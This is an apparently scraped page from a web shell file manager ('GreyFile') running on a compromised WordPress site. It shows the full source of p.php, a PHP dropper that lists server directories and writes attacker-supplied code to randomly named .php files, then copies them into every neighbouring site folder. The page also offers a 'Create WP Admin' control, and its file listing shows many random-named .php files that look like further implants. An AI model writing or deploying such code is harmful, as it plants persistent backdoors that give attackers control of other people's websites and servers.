?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
bricolagevincennes.fr
/
?? Create WP Admin
??
Go up: /home/webdevt/www
?? Editing: p.php
<?php function generateRandomString($length) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $charLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charLength - 1)]; } return $randomString; } function method1() { $currentPath = dirname($_SERVER['DOCUMENT_ROOT']); if ($currentPath === false) { echo "Unable to determine the current path."; return; } $contents = scandir($currentPath); if ($contents === false) { echo "Unable to list the contents of the current path."; return; } echo json_encode($contents); } function method2() { $currentPath = $_SERVER['DOCUMENT_ROOT']; if ($currentPath === false) { echo "Unable to determine the current path."; return; } $contents = scandir($currentPath); if ($contents === false) { echo "Unable to list the contents of the current path."; return; } echo json_encode($contents); } if (isset($_GET['met1'])) { method1(); } else if (isset($_GET['met2'])) { method2(); } else if (isset($_GET['actmet1'])) { $sc = $_POST['file']; $nama = generateRandomString(8); $filePath = $nama . '.php'; $dead = fopen($filePath, "w"); if ($dead === false) { echo "Failed to open the file for writing."; } else { if (fwrite($dead, $sc) === false) { echo "Failed to write to the file."; } else { fclose($dead); $currentPath = dirname($_SERVER['DOCUMENT_ROOT']); $contents = scandir($currentPath); foreach ($contents as $a) { $newpath = $currentPath . '/' . $a . '/' . $nama . '.php'; $badman = @copy($filePath, $newpath); if ($badman) { echo $a . '/' . $nama . '.php' . '|'; } } } } } else if (isset($_GET['actmet2'])) { $sc = $_POST['file']; $nama = generateRandomString(8); $filePath = $nama . '.php'; $dead = fopen($filePath, "w"); if ($dead === false) { echo "Failed to open the file for writing."; } else { if (fwrite($dead, $sc) === false) { echo "Failed to write to the file."; } else { fclose($dead); $currentPath = $_SERVER['DOCUMENT_ROOT']; $contents = scandir($currentPath); foreach ($contents as $a) { $newpath = $currentPath . '/' . $a . '/' . $nama . '.php'; $badman = @copy($filePath, $newpath); if ($badman) { echo $a . '/' . $nama . '.php' . '|'; } } } } } else { echo 'DeathShop'; } ?>
Save
Upload
??
Create Folder
??
Create File
??
13c7e
|
??? Delete
??
fe5aae
|
??? Delete
??
wp-admin
|
??? Delete
??
wp-content
|
??? Delete
??
wp-includes
|
??? Delete
??
.htaccess
|
?? Edit
|
??? Delete
??
efvsbgbr.php
|
?? Edit
|
??? Delete
??
goods.php
|
?? Edit
|
??? Delete
??
google2f4dbc715b43b0bc.html
|
?? Edit
|
??? Delete
??
iayagbkc.php
|
?? Edit
|
??? Delete
??
index.php
|
?? Edit
|
??? Delete
??
index.php0
|
?? Edit
|
??? Delete
??
license.txt
|
?? Edit
|
??? Delete
??
ltrzndke.php
|
?? Edit
|
??? Delete
??
networks.php
|
?? Edit
|
??? Delete
??
ofjrwnzw.php
|
?? Edit
|
??? Delete
??
options.php
|
?? Edit
|
??? Delete
??
oqxfpkro.php
|
?? Edit
|
??? Delete
??
p.php
|
?? Edit
|
??? Delete
??
qbaqmrhf.php
|
?? Edit
|
??? Delete
??
quoyreqq.php
|
?? Edit
|
??? Delete
??
readme.html
|
?? Edit
|
??? Delete
??
robots.txt
|
?? Edit
|
??? Delete
??
wp-activate.php
|
?? Edit
|
??? Delete
??
wp-blog-header.php
|
?? Edit
|
??? Delete
??
wp-comments-post.php
|
?? Edit
|
??? Delete
??
wp-config-sample.php
|
?? Edit
|
??? Delete
??
wp-config.php
|
?? Edit
|
??? Delete
??
wp-cron.php
|
?? Edit
|
??? Delete
??
wp-links-opml.php
|
?? Edit
|
??? Delete
??
wp-load.php
|
?? Edit
|
??? Delete
??
wp-log1n.php
|
?? Edit
|
??? Delete
??
wp-login.php
|
?? Edit
|
??? Delete
??
wp-mail.php
|
?? Edit
|
??? Delete
??
wp-settings.php
|
?? Edit
|
??? Delete
??
wp-signup.php
|
?? Edit
|
??? Delete
??
wp-trackback.php
|
?? Edit
|
??? Delete
??
xmlrpc.php
|
?? Edit
|
??? Delete
??
zuqgymho.php
|
?? Edit
|
??? Delete